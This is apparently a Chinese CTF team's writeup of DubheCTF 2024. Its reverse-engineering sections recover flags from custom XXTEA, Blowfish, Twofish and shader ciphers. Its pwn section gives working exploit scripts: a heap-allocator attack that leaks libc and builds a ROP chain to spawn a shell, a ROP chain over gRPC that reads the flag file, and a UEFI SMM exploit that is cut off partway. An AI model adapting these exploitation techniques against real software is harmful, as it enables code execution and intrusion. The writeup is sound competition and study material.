查看原文
科技

2024 DubheCTF writeup by Arr3stY0u

CTF组 山海之关 2024-03-19

HEADER

CTF组招新联系QQ2944508194,简历需为正式简历格式、请在简历中标注在赛事中的个人产出比,例如:某比赛团队总分2000分,我解出两个crypto共计500分占比25%。

所有方向均有名额,请不要担心投简历被拒等情况,未达标准我们会指出不足之处、给出学习建议。

PS:请野生crypto、web师傅们速来拯救下我们叭!

REVERSE

Destination:

反调试

静态打补丁在函数头部加个ret,过掉反调试。

分析:

触发异常后会按顺序执行两个enc和进入天堂之门。

enc函数里面有花指令,先处理掉。

E8 00 00 00 00 83 04 24 05 C30F 84 ?? ?? ?? ?? 0F 8574 ?? 75 ??

去花后放进ghidra反编译,算法是魔改过的xxtea。

天堂之门有smc,在后面下个断点把shellcode dump出来。

解密

#include <ctype.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>
uint32_t g_buf_004234A8[12];uint32_t g_key_0042309C[4] = {0x6B0E7A6B, 0xD13011EE, 0xA7E12C6D, 0xC199ACA6};int FUN_004140d7(void) { uint32_t uVar1; uint32_t e; uint32_t _sum; uint32_t local_3c; uint32_t i; int rounds;
rounds = 50; _sum = 0; local_3c = g_buf_004234A8[11]; do { _sum += 0xa4b46062; // 725275428 e = _sum >> 2 & 3; g_buf_004234A8[11] = local_3c; for (i = 0; i < 11; i += 1) { uVar1 = g_buf_004234A8[i + 1]; local_3c = g_buf_004234A8[i] + ((local_3c >> 5 ^ uVar1 << 2) + (uVar1 >> 3 ^ local_3c << 4) ^ (_sum ^ uVar1) + (g_key_0042309C[i & 3 ^ e] ^ local_3c)); g_buf_004234A8[i] = local_3c; } local_3c = g_buf_004234A8[11] + ((local_3c >> 5 ^ g_buf_004234A8[0] << 2) + (g_buf_004234A8[0] >> 3 ^ local_3c << 4) ^ (_sum ^ g_buf_004234A8[0]) + (g_key_0042309C[i & 3 ^ e] ^ local_3c)); g_buf_004234A8[11] = local_3c; rounds += -1; } while (rounds != 0); return 1;}
#define DELTA 0xa4b46062#define MX (((z>>5^y<<2)+(y>>3^z<<4))^((sum^y)+(k[(p&3)^e]^z)))
void xxteadecrypt(uint32_t*v, uint32_t len, uint32_t*k) { if (len == 0) return; uint32_t n = len - 1; uint32_t z = v[n], y = v[0], p, q = 50, sum = q * DELTA, e; if (n < 1) { return; } while (sum != 0) { e = sum >> 2 & 3; for (p = n; p > 0; p--) { z = v[p - 1]; y = v[p] -= MX; } z = v[n]; y = v[0] -= MX; sum -= DELTA; }}
void shellcode64() { uint32_t v1; // rsi
for (int i = 0; i != 12; ++i) { v1 = g_buf_004234A8[i]; for (int j = 0; j != 32; ++j) { if (v1 >> 31 == 1) v1 = (2 * v1) ^ 0x84A6972F; else v1 *= 2; } g_buf_004234A8[i] = v1; }}
void inv_shellcode64() { uint32_t v1; // rsi
for (int i = 0; i != 12; ++i) { v1 = g_buf_004234A8[i]; for (int j = 0; j != 32; ++j) { if (v1 & 1) { v1 ^= 0x84A6972F; v1 /= 2; v1 |= 1<<31; } else { v1 /= 2; } } g_buf_004234A8[i] = v1; }}

unsigned char enc_flag[48] = { 0xD6, 0xFA, 0x90, 0xA7, 0x77, 0xA2, 0xC8, 0xE8, 0xFA, 0x84, 0x03, 0xCF, 0xD7, 0x7F, 0x6C, 0x2E, 0x8B, 0x96, 0x33, 0x6D, 0x27, 0xC2, 0x57, 0x5B, 0x5E, 0xA6, 0x3C, 0x65, 0xFC, 0xF1, 0xC6, 0x85, 0x77, 0x25, 0xF3, 0xE1, 0x76, 0xAE, 0xD7, 0xD4, 0xC4, 0x6D, 0xAF, 0x3F, 0x8C, 0x9D, 0x59, 0x0D};
int main() { const char *inp = "111111111111111111111111111111111111111111111"; memcpy(g_buf_004234A8, inp, 45);
FUN_004140d7(); FUN_004140d7(); shellcode64();
// copy enc_flag memcpy(g_buf_004234A8, enc_flag, 48); inv_shellcode64(); xxteadecrypt(g_buf_004234A8, 12, g_key_0042309C); xxteadecrypt(g_buf_004234A8, 12, g_key_0042309C); printf("%s\n", (const char *)g_buf_004234A8); // DubheCTF{82e1e3f8-85fe469f-8499dd48-466a9d60} return 0;}

VMT:

这题也加了不少反调试,静态打补丁过掉。

输入正确的长度,会在异常处理中替换成正确的秘钥。

过掉反调试后,下断拿到KEY IV CT,之后在赛博厨子里把128位块加密算法都试一遍。

babySTL:

点进crypto_set_key能看到用到了一些数组常量,能查到是blowfish。

/*blowfish太长不放了*/u8 g_enc_flag2[32] = { 0xC4, 0xAA, 0x59, 0x60, 0x06, 0x44, 0xB6, 0xC3, 0x73, 0x81, 0xA3, 0x6F, 0x75, 0x80, 0x7E, 0x56, 0xB5, 0x9D, 0x1F, 0x85, 0xA4, 0x1B, 0xDD, 0x49, 0x5D, 0x26, 0x73, 0x37, 0x0F, 0x5E, 0x6E, 0x54,};
u32 ROL4(u32 v, u32 s) { return ((v << s) | (v >> (32 - s))) & 0xFFFFFFFF; }
int main() { struct bf_ctx ctx; blowfish_setkey(&ctx, "FakeKey", 7); u8 inp[8] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}; uint32_t src[2] = {}; // uint32_t src[2] = {0x44332211, 0x88776655}; uint32_t dst[2] = {}; for (int i = 0; i < 32; i += 8) { memcpy(src, g_enc_flag2 + i, 8); bf_decrypt(&ctx, dst, src); hexdump(dst, sizeof(dst)); // printf("0x%08X, 0x%08X, ", dst[0], dst[1]); }}/*44 75 33 F5 65 03 8D 56 Du3.e..V7B 8A EB 01 74 5F E9 48 {...t_.H42 C0 72 E9 5F 90 65 DB B.r._.e.6F F0 79 BD 33 AD 6D 26 o.y.3.m&*/

这一轮解密后就能看出来一点flag的影子。

from claripy import *import struct
enc_flag = [0xC4AA5960, 0x0644B6C3, 0x7381A36F, 0x75807E56, 0xB59D1F85, 0xA41BDD49, 0x5D267337, 0x0F5E6E54]enc2 = [0xF5337544, 0x568D0365, 0x01EB8A7B, 0x48E95F74, 0xE972C042, 0xDB65905F, 0xBD79F06F, 0x266DAD33,]# DubheCTF{1111111111111111111111}
tmp = [BVS(f'tmp_{i}', 32) for i in range(8)]_tmp = tmp[:]for i in range(8): tmp[i] ^= tmp[i] << 7for i in range(8): tmp[i] ^= tmp[i] << 7
s = Solver()for i in range(8): s.add(tmp[i] == enc2[i])
for x in s.batch_eval(_tmp, 4): b = struct.pack('<8I', *x) print(b)
# DubheCTF{JuSt_4_B@by_PrOo0b13m!}
# Python>(0x68627544 ^ (0x68627544 << 7))&0xFFFFFFFF# 0x5958d744
# Python>(0x5958d744 ^ (0x5958d744 << 7))&0xFFFFFFFF# 0xf5337544

然后我注意到两个verify都有用到相同的算法

for ( i = 0; i < 8; ++i ) v12[i] ^= v12[i] << 7;

然后就出了,挺迷惑的一道题目,理解不了。

cvm?:

vm还有外部调用,用到了twofish的常量,不知道是不是,直接调用没解出来。

下断set_key后把整个ctx dump出来,备用。

解密1

#include <ctype.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h> /* for memset(), memcpy(), and memcmp() */
void hexdump(void *pdata, int size) { const uint8_t *p = (const uint8_t *)pdata; int count = size / 16; int rem = size % 16;
for (int r = 0; r <= count; r++) { int k = (r == count) ? rem : 16; if (r) printf("\n"); for (int i = 0; i < 16; i++) { if (i < k) printf("%02X ", p[i]); else printf(" "); } printf(" "); for (int i = 0; i < k; i++) { printf("%c", isprint(p[i]) ? p[i] : '.'); } p += 0x10; } printf("\n");}
unsigned char tf_ctx_data[4260] = { /* 太长不放了 */};
uint32_t *g_ctx = (uint32_t *)tf_ctx_data;
int64_t sub_2D019(uint32_t *ctx, uint32_t a2) { return ctx[(uint8_t)(a2 >> 16) + 0x229] ^ ctx[(uint8_t)(a2 >> 8) + 0x129] ^ ctx[(uint8_t)a2 + 0x29] ^ ctx[(uint8_t)(a2 >> 24) + 0x329];}
uint32_t __ROL4__(uint32_t v, int s) { return ((v << s) | (v >> (32 - s))) & 0xFFFFFFFF;}uint32_t __ROR4__(uint32_t v, int s) { return ((v >> s) | (v << (32 - s))) & 0xFFFFFFFF;}
void sub_2C7B0(uint32_t *a1, uint8_t a2, uint32_t a3, int a4, uint32_t *a5, int *a6) { int v6; // eax int v10; // [rsp+34h] [rbp-Ch]
v10 = sub_2D019(a1, a3); v6 = sub_2D019(a1, __ROL4__(a4, 8)); *a5 = a1[2 * a2 + 9] + v6 + v10; *a6 = a1[2 * a2 + 10] + v10 + 2 * v6;}
void encrypt(uint32_t *ctx, uint8_t *pt, uint8_t *ct) { uint32_t v4; // [rsp+20h] [rbp-30h] BYREF int v5; // [rsp+24h] [rbp-2Ch] BYREF uint32_t v6; // [rsp+28h] [rbp-28h] uint32_t v7; // [rsp+2Ch] [rbp-24h] uint32_t v8; // [rsp+30h] [rbp-20h] uint32_t v9; // [rsp+34h] [rbp-1Ch] int i; // [rsp+38h] [rbp-18h] int j; // [rsp+3Ch] [rbp-14h] uint32_t v12; // [rsp+40h] [rbp-10h] uint32_t v13; // [rsp+44h] [rbp-Ch]
v6 = ctx[1] ^ ((*((uint8_t *)pt + 2) << 16) | *(uint16_t *)pt | (*((uint8_t *)pt + 3) << 24)); v7 = ctx[2] ^ ((*((uint8_t *)pt + 6) << 16) | *((uint16_t *)pt + 2) | (*((uint8_t *)pt + 7) << 24)); v8 = ctx[3] ^ ((*((uint8_t *)pt + 10) << 16) | *((uint16_t *)pt + 4) | (*((uint8_t *)pt + 11) << 24)); v9 = ctx[4] ^ ((*((uint8_t *)pt + 14) << 16) | *((uint16_t *)pt + 6) | (*((uint8_t *)pt + 15) << 24)); //printf("%08x %08x %08x %08x\n", v6, v7, v8, v9); for (i = 0; i <= 15; ++i) { sub_2C7B0(ctx, i, v6, v7, &v4, &v5); v12 = __ROR4__(v8 ^ v4, 1); v13 = __ROL4__(v9, 1) ^ v5; v8 = v6; v9 = v7; v6 = v12; v7 = v13; } // printf("%08x %08x %08x %08x\n", v6, v7, v8, v9); v12 = v6; v13 = v7;
v6 = v8 ^ ctx[5]; v7 = v9 ^ ctx[6]; v8 = v12 ^ ctx[7]; v9 = v13 ^ ctx[8]; for (j = 0; j <= 3; ++j) { ct[j] = v6 >> (8 * j); ct[j + 4] = v7 >> (8 * j); ct[j + 8] = v8 >> (8 * j); ct[j + 12] = v9 >> (8 * j); }}
void decrypt(uint32_t *ctx, uint8_t *ct, uint8_t *pt) { uint32_t v4; // [rsp+20h] [rbp-30h] BYREF int v5; // [rsp+24h] [rbp-2Ch] BYREF uint32_t v6 = 0; // [rsp+28h] [rbp-28h] uint32_t v7 = 0; // [rsp+2Ch] [rbp-24h] uint32_t v8 = 0; // [rsp+30h] [rbp-20h] uint32_t v9 = 0; // [rsp+34h] [rbp-1Ch] uint32_t v12; // [rsp+40h] [rbp-10h] uint32_t v13; // [rsp+44h] [rbp-Ch]
for (int j = 0; j <= 3; ++j) { v6 |= ct[j] << (8 * j); v7 |= ct[j + 4] << (8 * j); v8 |= ct[j + 8] << (8 * j); v9 |= ct[j + 12] << (8 * j); }
v13 = v9 ^ ctx[8]; v12 = v8 ^ ctx[7]; v9 = v7 ^ ctx[6]; v8 = v6 ^ ctx[5];
v6 = v12; v7 = v13;
// printf("%08x %08x %08x %08x\n", v6, v7, v8, v9);
for (int i = 15; i >= 0; i--) { v13 = v7; v12 = v6; v7 = v9; v6 = v8;
sub_2C7B0(ctx, i, v6, v7, &v4, &v5);
v9 = __ROR4__(v13 ^ v5, 1); v8 = __ROL4__(v12, 1) ^ v4; } // printf("%08x %08x %08x %08x\n", v6, v7, v8, v9); v6 ^= ctx[1]; v7 ^= ctx[2]; v8 ^= ctx[3]; v9 ^= ctx[4]; for (int j = 0; j <= 3; ++j) { pt[j] = v6 >> (8 * j); pt[j + 4] = v7 >> (8 * j); pt[j + 8] = v8 >> (8 * j); pt[j + 12] = v9 >> (8 * j); }}int main() { unsigned char key[16] = {0x43, 0x59, 0xAC, 0x3C, 0x17, 0x98, 0x41, 0x59, 0xD6, 0x2B, 0x70, 0x85, 0xC8, 0x0E, 0x4D, 0xDF}; unsigned char enc[16] = {0x63, 0x8F, 0x2F, 0x2D, 0xC0, 0xA3, 0x43, 0xD1, 0x4B, 0x95, 0xDA, 0x54, 0xDD, 0xCE, 0xA7, 0xC5}; unsigned char pt[16] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x00}; unsigned char tmp[16] = {0x63, 0x8F, 0x2F, 0x2D, 0xC0, 0xA3, 0x43, 0xD1, 0x4B, 0x95, 0xDA, 0x54, 0xDD, 0xCE, 0xA7, 0xC5};
unsigned char enc_flag[32] = { 0x7A, 0x2C, 0xB7, 0x06, 0x48, 0x90, 0x68, 0x55, 0xC4, 0xFC, 0x12, 0x6E, 0x5C, 0xFE, 0x2B, 0x96, 0x04, 0x10, 0x3C, 0x8D, 0xBC, 0xD5, 0xEC, 0x77, 0xA6, 0xEA, 0xCF, 0x40, 0xF2, 0xFA, 0xD7, 0x14 };
decrypt(g_ctx, enc_flag, tmp); hexdump(tmp, sizeof(tmp)); decrypt(g_ctx, enc_flag+0x10, tmp); hexdump(tmp, sizeof(tmp));}
3C 68 9E 74 6D 06 6E B6 36 36 08 0B 5E DD BA 42 <h.tm.n.66..^..B
85 46 B9 10 04 24 B3 F4 F4 E6 A5 D1 B7 61 2B 32 .F...$.......a+2

解密2

#include <ctype.h>#include <memory.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>
void hexdump(void *pdata, int size) { const uint8_t *p = (const uint8_t *)pdata; int count = size / 16; int rem = size % 16;
for (int r = 0; r <= count; r++) { int k = (r == count) ? rem : 16; if (r) printf("\n"); for (int i = 0; i < 16; i++) { if (i < k) printf("%02X ", p[i]); else printf(" "); } printf(" "); for (int i = 0; i < k; i++) { printf("%c", isprint(p[i]) ? p[i] : '.'); } p += 0x10; } printf("\n");}
uint32_t KEY[4] = { 0xcafebabe, 0x7889abbc, 0xdeadbeef, 0x12234556,};
void encrypt(uint32_t *v) { uint32_t v0 = v[0], v1 = v[1], sum = 0, i; uint32_t delta = 0x236e475a; for (i = 0; i < 16; i++) { sum += delta; v0 += ((v1 << 4) + KEY[0]) ^ (v1 + sum) ^ (((int32_t)v1 / 32) + KEY[1]); v0 += 0xcccccccc; v0 = ~v0; v1 += ((v0 << 4) + KEY[2]) ^ (v0 + sum) ^ (((int32_t)v0 / 32) + KEY[3]); v1 += 0xdddddddd; v1 = ~v1; } v[0] = v0; v[1] = v1;}
void decrypt(uint32_t *v) { uint32_t delta = 0x236e475a; uint32_t v0 = v[0], v1 = v[1], sum = delta * 16, i; for (i = 0; i < 16; i++) { v1 = ~v1; v1 -= 0xdddddddd; v1 -= ((v0 << 4) + KEY[2]) ^ (v0 + sum) ^ (((int32_t)v0 / 32) + KEY[3]);
v0 = ~v0; v0 -= 0xcccccccc; v0 -= ((v1 << 4) + KEY[0]) ^ (v1 + sum) ^ (((int32_t)v1 / 32) + KEY[1]);
sum -= delta; } v[0] = v0; v[1] = v1;}
unsigned char enc_flag1[32] = {0x7A, 0x2C, 0xB7, 0x06, 0x48, 0x90, 0x68, 0x55, 0xC4, 0xFC, 0x12, 0x6E, 0x5C, 0xFE, 0x2B, 0x96, 0x04, 0x10, 0x3C, 0x8D, 0xBC, 0xD5, 0xEC, 0x77, 0xA6, 0xEA, 0xCF, 0x40, 0xF2, 0xFA, 0xD7, 0x14};
unsigned char enc_flag2[32] = {0x3C, 0x68, 0x9E, 0x74, 0x6D, 0x06, 0x6E, 0xB6, 0x36, 0x36, 0x08, 0x0B, 0x5E, 0xDD, 0xBA, 0x42, 0x85, 0x46, 0xB9, 0x10, 0x04, 0x24, 0xB3, 0xF4, 0xF4, 0xE6, 0xA5, 0xD1, 0xB7, 0x61, 0x2B, 0x32};
int main() { uint8_t *inp = (uint8_t *)"00112233445566778899aabbccddeeff"; uint8_t outbuf[32 + 1] = {};
for (int i = 0; i < 32; i += 8) { uint32_t v[2]; memcpy(v, &enc_flag2[i], 8); decrypt(v); memcpy(&outbuf[i], v, 8); } printf("DubheCTF{%s}\n", outbuf); // DubheCTF{ca7b970a41062a2c41f4c016e7637f46}}

fffffragment:

使用jadx导出源码。

'''start: C0106Oo0o0end: ch0wrong: eh0'''
import osimport re
import win32apiimport win32conimport time

def simulate_click(x, y): win32api.SetCursorPos((x, y))
win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, x, y, 0, 0) time.sleep(0.1) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, x, y, 0, 0) time.sleep(0.1)

def parse(filename): # class a extends Fragment # , os.class, source_code = open(filename, 'rb').read().decode() name = re.findall(r'class ([a-zA-Z0-9]+) extends Fragment \{', source_code) if not name: return name = name[0] # next_nodes = re.findall(r', ([a-zA-Z0-9]+)\.class,', source_code) # print(filename)
functions = [] on_click = [] call = {} func2node = {} for func_src in source_code.split('public '): if 'void ' in func_src and 'super' not in func_src: func_name = re.findall(r'void ([a-zA-Z0-9]+)\(', func_src)[0] if func_name in ['d', 'e']: callee = re.findall(r' ([a-zA-Z0-9]+)\(', func_src)[-1] print(f'{func_name} -> {callee}') call[func_name] = callee if func_name in ['f', 'g']: node = re.findall(r', ([a-zA-Z0-9]+)\.class,', func_src) assert len(node) == 1 func2node[func_name] = node[0]
if func_name == 'onClick': callee = re.findall( r' '+name+'.'+r'([a-zA-Z0-9]+)\('+name, func_src)[-1] print(f'{func_name} -> {callee}') on_click.append(callee) functions.append(func_src) order_nodes = [] if on_click: for i in range(len(on_click)): to = on_click[i] if to in call: to = call[to] if to in func2node: order_nodes.append(func2node[to]) return name, order_nodes

game_maps = {}

for root, dirs, files in os.walk(r".\fragment_sources"): for filename in files: if not filename.endswith('.java'): continue fullpath = os.path.join(root, filename) res = parse(fullpath) if not res: continue name, next_nodes = res if name in game_maps: assert False game_maps[name] = next_nodes

def dfs(current_node, path: list, path_choose: str): nodes = game_maps[current_node] if len(nodes) == 2 and len(set(nodes)) == 1: return choose = ['L', 'R'] for i, node in enumerate(nodes): if node == 'eh0': print('got!', path) print(path_choose) path_choose += 'L' print('电子木鱼启动!') time.sleep(2) for j, _ch in enumerate(path_choose): print('click:', j, _ch) if _ch == 'L': simulate_click(610, 570) else: simulate_click(1280, 570) exit(0) if node not in path: dfs(node, path + [node], path_choose+choose[i])

dfs('C0106Oo0o0', [], "")
# flag:# DubheCTF{20c21afe96f05b02430a017a550bfce5addb6fe2}

ezVK:

#version 450layout(local_size_x = 1, local_size_y = 1, local_size_z = 1) in;
const uint _80[5] = uint[](1214346853u, 558265710u, 559376756u, 1747010677u, 1651008801u);
layout(binding = 0, std430) buffer V{ uint v[];} _23;
void main(){ uint cnt = gl_GlobalInvocationID.x * 2u; uint sum = 0u; uint l = _23.v[cnt]; uint r = _23.v[cnt + 1u]; for (int i = 1; i <= 40; i++) { l += ((((((~(r << 3)) & (r >> 5)) | ((r << 3) & (~(r >> 5)))) ^ (~r)) & ((r << 3) ^ (r >> 5))) ^ ((~((~(sum + _80[sum & 4u])) | (~((r >> 3) & (r << 2))))) & (l | (~l)))); sum += 1932555628u; // 0x7330756c r += ((((((~(l << 3)) & (l >> 5)) | ((l << 3) & (~(l >> 5)))) ^ (~l)) & ((l << 3) ^ (l >> 5))) ^ ((~((~(sum + _80[(sum >> (11)) & 4u])) | (~((l >> 3) & (l << 2))))) & (r | (~r)))); } _23.v[cnt] = l; _23.v[cnt + 1u] = r;}
EZVK: Khronos SPIR-V binary, little-endian, version 0x010000, generator 0x08000b

队友从资源文件中提取出来EZVK,并反编译了。(Khronos SPIR-V binary)

之后我接力解密flag。

#include <ctype.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>
uint32_t enc_flag[12] = {0x185B72AF, 0x0631D2C6, 0xDE8B33CC, 0x31EBCD9F, 0x05DB8B33, 0x0A8D77D0, 0x865C6111, 0xBF032335, 0x722228A5, 0xAD833A57, 0xB7C3456F, 0};uint32_t key[] = {1214346853, 558265710, 559376756, 1747010677, 1651008801};
#define ROUNDS 40#define DELTA 0x7330756c
void xtea_decipher(uint32_t v[2], uint32_t const key[4]) { const unsigned int num_rounds = ROUNDS; unsigned int i; uint32_t v0 = v[0], v1 = v[1], delta = DELTA, sum = delta * num_rounds; uint32_t l = v0, r = v1; for (i = 0; i < ROUNDS; i++) { r -= ((((((~(l << 3)) & (l >> 5)) | ((l << 3) & (~(l >> 5)))) ^ (~l)) & ((l << 3) ^ (l >> 5))) ^ ((~((~(sum + key[(sum >> (11)) & 4u])) | (~((l >> 3) & (l << 2))))) & (r | (~r)))); sum -= 1932555628; l -= ((((((~(r << 3)) & (r >> 5)) | ((r << 3) & (~(r >> 5)))) ^ (~r)) & ((r << 3) ^ (r >> 5))) ^ ((~((~(sum + key[sum & 4u])) | (~((r >> 3) & (r << 2))))) & (l | (~l)))); } v0 = l; v1 = r; v[0] = v0; v[1] = v1;}
void xtea_encipher(uint32_t v[2], uint32_t const key[4]) { const unsigned int num_rounds = ROUNDS; unsigned int i; uint32_t v0 = v[0], v1 = v[1], delta = DELTA, sum = 0; uint32_t l = v0, r = v1; for (i = 0; i < ROUNDS; i++) { l += ((((((~(r << 3)) & (r >> 5)) | ((r << 3) & (~(r >> 5)))) ^ (~r)) & ((r << 3) ^ (r >> 5))) ^ ((~((~(sum + key[sum & 4u])) | (~((r >> 3) & (r << 2))))) & (l | (~l)))); sum += 1932555628; r += ((((((~(l << 3)) & (l >> 5)) | ((l << 3) & (~(l >> 5)))) ^ (~l)) & ((l << 3) ^ (l >> 5))) ^ ((~((~(sum + key[(sum >> (11)) & 4u])) | (~((l >> 3) & (l << 2))))) & (r | (~r)))); } v0 = l; v1 = r; v[0] = v0; v[1] = v1;}
int main() { // 0xB7C3456F for (int i = 0; i < 10; i += 2) { xtea_decipher(&enc_flag[i], key); } printf("%s\n", (char *)enc_flag);}
// DubheCTF{Go0Od!!!You_4re_Vu1k@N_Mast3r^^?}// 解密后还少两个字符,结尾的大括号是确定的,剩下的一个字符挨个尝试。// DubheCTF{Go0Od!!!You_4re_Vu1k@N_Mast3r^^_}

moon:

解密

from gmpy2 import invert, mpzfrom Crypto.Util.number import long_to_bytes, bytes_to_longfrom itertools import combinations
p = 1q = 1537131588382913092665966115381275601741897676956736016043055688971156548045659189201332511868437849089n = p*q
e = 1537131588382913092665966115381275601741897676956736016043055688971156548045659189201332511868437849087e2 = 750552533390094283528303767276013477413035975076531257833523285630447533225419525977213140560760669
z = 535687859422589012977141675826129236269925277717894712488225104574807190354008307256942078237560832125d = invert(e, (-1)*(q-1))assert d == e # lold2 = invert(e2, (-1)*(q-1))
def chall_enc(inp): s1 = pow(inp, e, n) s2 = pow(inp, e2, n) # print(s2) for i in range(9): if (res := pow(s1 * s2 * s2 % q, 2**(8-i), n)) != 1: if len(str(res)) != 103: return s2 = s2 * pow(z, 2**i, n) % q return s2
# inp = 1234# assert len(str(inp)) <= 100# print(str(inp).rjust(100, '0'))# s2 = chall_enc(inp)
def test(c, s): for i in s: c = c*invert(pow(z, 2**i, n), q) % q return pow(c, d2, n)
from hashlib import md5
enc_flag = 885929268745208437773737031796868079277836491798608104263226417228443603006843430266722004055919359990c = enc_flagfor j in range(9): for i in combinations(range(9), j+1): m = test(c, i) if chall_enc(m) == c: flag = str(m).rjust(100, '0') print('good', flag) # DubheCTF{md5_32_lower(input)} print('DubheCTF{'+md5(str(flag).encode()).hexdigest()+'}')

PWN

Buggyallocator:

在add函数中有一个get_size函数

通过size是否大于0x80对堆块进行分类

在自定义的fastbin管理器中,并没有对堆块进行合法性检测,因此可以事先在堆块上伪造数据,使其链入堆链表,从而达到任意地址申请写。然后打stdout泄露libc和environ劫持返回地址即可。

exp:

from pwn import *# r=process('./pwn')r=remote('1.95.11.97',9999)elf=ELF('./pwn')libc=elf.libc
stdout = 0x404040
def add(idx,size,content): r.sendlineafter("> ",'1') r.sendlineafter("idx: ",str(idx)) r.sendlineafter("size: ",str(size)) r.sendafter("Content: ",content)
def delete(idx): r.sendlineafter("> ",'2') r.sendlineafter("idx: ",str(idx))

add(0,0x280,p64(0x404450)*0x28)delete(0)
add(0,0x10,'a')for i in range(0x13): add(i+1,0x10,'a')payload = p64(stdout) + p64(0x404430)add(20,0x10,payload)add(21,0x38,'\x80')#bss->stdoutpayload = p64(0xfbad1800)+p64(0)*3+p64(0x404040)+p64(0x404410)add(22,0x38,payload)#stdoutlibc_base = u64(r.recv(6).ljust(8,b'\x00')) - 0x21b780print("libc_base--------->",hex(libc_base))environ = libc_base + libc.sym['environ']pop_rdi = libc_base + 0x000000000002a3e5#: pop rdi; ret;system = libc_base + libc.sym['system']
r.recv(0x400-0x40+2)heap_base = u64(r.recv(4).ljust(8,b'\x00')) - 0x12000+0x10print("heap_base-------->",hex(heap_base))
delete(22)payload = p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)add(22,0x38,payload)#stdoutstack = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x148print("stack---------->",hex(stack))
add(23,0x40,p64(0)*7+p64(stack))#50->stack
payload = b'/bin/sh\x00'+p64(pop_rdi+1)+p64(pop_rdi)+p64(stack)+p64(system)add(24,0x50,payload)#stackr.interactive()

ggbond:

pb

pbtk提取protobuf

syntax = "proto3";
package GGBond;
option go_package = "./;ggbond";
service GGBondServer { rpc Handler(Request) returns (Response);}
message Request { oneof request { WhoamiRequest whoami = 100; RoleChangeRequest role_change = 101; RepeaterRequest repeater = 102; }}
message Response { oneof response { WhoamiResponse whoami = 200; RoleChangeResponse role_change = 201; RepeaterResponse repeater = 202; ErrorResponse error = 444; }}
message WhoamiRequest {
}
message WhoamiResponse { string message = 2000;}
message RoleChangeRequest { uint32 role = 1001;}
message RoleChangeResponse { string message = 2001;}
message RepeaterRequest { string message = 1002;}
message RepeaterResponse { string message = 2002;}
message ErrorResponse { string message = 4444;}

exp:

import asynciofrom ggbond_grpc import GGBondServerStubfrom ggbond_pb2 import *from grpclib.client import Channelfrom base64 import b64encodefrom pwn import *

async def main() -> None: # Channel("localhost", 23334) async with Channel('1.95.2.225', 36273) as channel: print('start') stub = GGBondServerStub(channel) resp = await stub.Handler(Request(whoami=WhoamiRequest())) print(resp) resp = await stub.Handler(Request(role_change=RoleChangeRequest(role=3))) print(resp) # b *0x7EDEFD flag = 0x7EF68D # 'flag\x00' inf_loop = 0x43611A _open = 0x469E60 _write0 = 0x46B180 _read = 0x469EE0
payload = b'\x00'*0xc8
payload += p64(_open) payload += p64(0x46B1B7) # add rsp, 0x20 payload += p64(flag) payload += p64(0) payload += p64(0) payload += p64(0) # res fd
payload += p64(_read) payload += p64(0x46B1B7) # add rsp, 0x20 payload += p64(8) # fd payload += p64(0xC123A0) # buf payload += p64(0x20) # count payload += p64(0) # res
if 0: # 读后半段flag用 payload += p64(_read) payload += p64(0x46B1B7) # add rsp, 0x20 payload += p64(8) # fd payload += p64(0xC123A0) # buf payload += p64(0x20) # count payload += p64(0) # res
# memcopy(0xC59670, 0x4001A8, &9 (0x7FA768)) payload += p64(0x407F8F) payload += p64(0x46B1B7) # add rsp, 0x20 payload += p64(0x08) payload += p64(0x10) payload += p64(0x18) payload += p64(0xC59670) # dst payload += p64(0x28) payload += p64(inf_loop) # next ret payload += p64(0x7FA768) # p_size payload += p64(0x40) payload += p64(0x4001A8) # src
payload += p64(inf_loop) resp = await stub.Handler(Request(repeater=RepeaterRequest(message=b64encode(payload).decode()))) print(resp)
if __name__ == "__main__": asyncio.run(main())
''' message: "I\'m DubheCTF{G00dGol@ng_GooDG@dg3T_G" message: "I\'m gBo0o0o0ond}dGol@ng_GooDG@dg3T_G"DubheCTF{G00dGol@ng_GooDG@dg3T_GgBo0o0o0ond}'''

第一次运行读取flag到data段,第二次运行走whoami拿到flag。

直接放exp吧,远程不怎么好打。

ToySMM:

exp:

import osos.environ['PWNLIB_NOTERM'] = '1'
from pwn import *
context(arch='amd64')
# conn = process('./run.sh')conn = remote('1.95.0.62', 9999)conn.recvuntil(b'Valid EFI Header at Address ')system_table = int(conn.recvline(), 16)
log.info('SystemTable @ 0x%x', system_table)
conn.recvline()
code = asm(f''' mov rax, {system_table} mov rax, qword ptr [rax + 96] /* SystemTable->BootServices */ mov rbx, qword ptr [rax + 64] /* BootServices->AllocatePool */ mov rcx, qword ptr [rax + 320] /* BootServices->LocateProtocol */''')conn.sendline(code.hex().encode() + b'\nDONE')
conn.recvuntil(b'RBX: 0x')AllocatePool = int(conn.recvn(16), 16) # useful for laterconn.recvuntil(b'RCX: 0x')LocateProtocol = int(conn.recvn(16), 16)
log.success('BootServices->AllocatePool @ 0x%x', AllocatePool)log.success('BootServices->LocateProtocol @ 0x%x', LocateProtocol)

# phase 2# Taken from EDK2 source code (or opening Binexec.efi in a disassembler)gEfiSmmCommunicationProtocolGuid = 0x32c3c5ac65db949d4cbd9dc6c68ed8e2# gEfiSmmCommunicationProtocolGuid = { 0xc68ed8e2, 0x9dc6, 0x4cbd, { 0x9d, 0x94, 0xdb, 0x65, 0xac, 0xc5, 0xc3, 0x32 }}
code = asm(f''' /* LocateProtocol(gEfiSmmCommunicationProtocolGuid, NULL, &protocol) */ lea rcx, qword ptr [rip + guid] xor rdx, rdx lea r8, qword ptr [rip + protocol] mov rax, {LocateProtocol} call rax
test rax, rax jnz fail
mov rax, qword ptr [rip + protocol] /* mSmmCommunication */ mov rbx, qword ptr [rax] /* mSmmCommunication->Communicate */ ret
fail: ud2
guid: .octa {gEfiSmmCommunicationProtocolGuid}protocol:''')conn.sendline(code.hex().encode() + b'\ndone')
